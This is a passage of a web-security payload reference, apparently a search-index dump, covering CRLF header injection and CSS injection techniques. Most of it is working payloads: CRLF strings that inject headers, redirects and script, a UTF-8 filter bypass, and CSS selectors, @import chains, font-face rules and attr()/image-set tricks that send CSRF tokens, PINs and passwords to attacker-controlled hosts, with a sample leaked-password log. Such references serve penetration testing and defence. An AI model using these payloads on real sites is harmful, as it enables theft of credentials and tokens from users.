HTTP/1.1 200 OK\nDate: Tue, 20 Dec 2016 14:34:03 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 22907\nConnection: close\nX-Frame-Options: SAMEORIGIN\nLast-Modified: Tue, 20 Dec 2016 11:50:50 GMT\nETag: \"842fe-597b-54415a5c97a80\"\nVary: Accept-Encoding\nX-UA-Compatible: IE=edge\nServer: NetDNA-cache/2.2\nLink: https://example.com/[INJECTION STARTS HERE]\nContent-Length:35\nX-XSS-Protection:0\n\n23\n<svg onload=alert(document.domain)>\n0\n
"},{"location":"CRLF%20Injection/#open-redirect","title":"Open Redirect","text":"

Inject a Location header to force a redirect for the user.

%0d%0aLocation:%20http://myweb.com\n
"},{"location":"CRLF%20Injection/#filter-bypass","title":"Filter Bypass","text":"

RFC 7230 states that most HTTP header field values use only a subset of the US-ASCII charset.

Newly defined header fields SHOULD limit their field values to US-ASCII octets.

Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.

UTF-8 Character Hex Unicode Stripped \u560a %E5%98%8A \\u560a %0A (\\n) \u560d %E5%98%8D \\u560d %0D (\\r) \u563e %E5%98%BE \\u563e %3E (>) \u563c %E5%98%BC \\u563c %3C (<)

The UTF-8 character \u560a contains 0a in the last part of its hex format, which would be converted as \\n by Firefox.

An example payload using UTF-8 characters would be:

\u560a\u560dcontent-type:text/html\u560a\u560dlocation:\u560a\u560d\u560a\u560d\u563csvg/onload=alert(document.domain()\u563e\n

URL encoded version

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28document.domain%28%29%E5%98%BE\n
"},{"location":"CRLF%20Injection/#labs","title":"Labs","text":""},{"location":"CRLF%20Injection/#references","title":"References","text":""},{"location":"CSS%20Injection/","title":"CSS Injection","text":"

CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.

"},{"location":"CSS%20Injection/#summary","title":"Summary","text":""},{"location":"CSS%20Injection/#tools","title":"Tools","text":""},{"location":"CSS%20Injection/#methodology","title":"Methodology","text":""},{"location":"CSS%20Injection/#css-selectors","title":"CSS Selectors","text":"

CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.

The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.

"},{"location":"CSS%20Injection/#exfiltration-via-background-image","title":"Exfiltration via Background Image","text":"

When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.

input[value^=\"TOKEN_012\"] {\n  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);\n}\n
input[name=\"pin\"][value=\"1234\"] {\n  background: url(https://attacker.com/log?pin=1234);\n}\n

Tips:

input[name=\"csrf-token\"][value^=\"a\"] + input {\n  background: url(https://example.com?q=a)\n}\n
div:has(input[value=\"1337\"]) {\n  background:url(/collectData?value=1337);\n}\n
"},{"location":"CSS%20Injection/#css-import-at-rule","title":"CSS Import at-rule","text":"

This technique is known as Blind CSS Exfiltration. It relies on importing external stylesheets to trigger callbacks.

<style>@import url(http://attacker.com/staging?len=32);</style>\n<style>@import'//YOUR-PAYLOAD.oastify.com'</style>\n

Frames do not always need to be reloaded to reevaluate CSS. The @import rule allows for latency; the browser will process the import and apply the new styles.

"},{"location":"CSS%20Injection/#sequential-import-chaining-sic","title":"Sequential Import Chaining (SIC)","text":"

SIC allows an attacker to chain multiple extraction steps without reloading the page:

  1. Inject an initial @import rule pointing to a staging payload.
  2. The staging payload holds the connection open (long-polling) while generating the next specific payload.
  3. When a CSS rule matches (e.g., a character is found via background-image), the browser makes a request.
  4. The server detects this request and generates the next @import rule to continue the chain.
"},{"location":"CSS%20Injection/#css-conditionals","title":"CSS Conditionals","text":""},{"location":"CSS%20Injection/#inline-style-exfiltration","title":"Inline Style Exfiltration","text":"

This advanced technique leverages CSS conditionals (like if()) and variables to perform logic directly within a style attribute.

Example: Stealing a data-uid attribute if it matches a value between 1 and 10.

<div style='--val: attr(data-uid); --steal: if(style(--val:\"1\"): url(/1); else: if(style(--val:\"2\"): url(/2); else: if(style(--val:\"3\"): url(/3); else: if(style(--val:\"4\"): url(/4); else: if(style(--val:\"5\"): url(/5); else: if(style(--val:\"6\"): url(/6); else: if(style(--val:\"7\"): url(/7); else: if(style(--val:\"8\"): url(/8); else: if(style(--val:\"9\"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>\n
"},{"location":"CSS%20Injection/#css-font-face-at-rule","title":"CSS Font-face at-rule","text":"

The @font-face CSS at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer. - Mozilla

The unicode-range property allows specific fonts to be used for specific characters. We can abuse this to detect if a specific character is present on the page.

If the character \"A\" is present, the browser attempts to load the font from /?A. If \"C\" is not present, that request is never made.

<style>\n@font-face{ font-family:poc; src: url(http://attacker.example.com/?A); /* fetched */ unicode-range:U+0041; }\n@font-face{ font-family:poc; src: url(http://attacker.example.com/?B); /* fetched too */ unicode-range:U+0042; }\n@font-face{ font-family:poc; src: url(http://attacker.example.com/?C); /* not fetched */ unicode-range:U+0043; }\n#sensitive-information{ font-family:poc; }\n</style>\n<p id=\"sensitive-information\">AB</p>\n

Limitations:

"},{"location":"CSS%20Injection/#attribute-extraction-via-attr","title":"Attribute Extraction via attr()","text":"

The CSS attr() function allows CSS to retrieve the value of an attribute of the selected element. With recent updates (see Advanced attr()), this function can be used to extract input's value.

Target HTML:

<html>\n    <head>\n        <link rel=\"stylesheet\" href=\"http://attacker.local/index.css\">\n    </head>\n    <body>\n        <input type=\"text\" name=\"password\" value=\"supersecret\">\n    </body>\n</html>\n

index.css (hosted by attacker):

input[name=\"password\"] {\n  background: image-set(attr(value))\n}\n

When image-set() is used with attr(), the browser may attempt to interpret the attribute value as a URL. If the stylesheet is cross-domain, the relative URL is resolved against the stylesheet's origin, not the page's origin.

Resulting request on attacker's server:

10.10.10.10 - - [15/Feb/2026 16:33:21] \"GET /supersecret HTTP/1.1\" 404 -\n
"},{"location":"CSS%20Injection/#ligatures","title":"Ligatures","text":"

This technique exploits custom fonts and ligatures. A ligature combines multiple characters into a single glyph. By creating a custom font where specific character sequences (e.g., specific text content) produce a ligature with a huge width, we can detect the change in layout.

  1. Create a custom font with ligatures for target strings.
  2. Use media queries or scrollbars to detect if the rendered width of the element has changed.
docker run -it --rm -p 4242:4242 -e BASE_URL=http://localhost:4242 ghcr.io/adrgs/fontleak:latest\n

Payload example using fontleak with a custom selector, parent element, and alphabet. Warning: The CSS selector must match exactly one element in the target page.

<style>@import url(\"http://localhost:4242/?selector=.secret&parent=head&alphabet=abcdef0123456789\");</style>\n
"},{"location":"CSS%20Injection/#labs","title":"Labs","text":""},{"location":"CSS%20Injection/#references","title":"References","text":"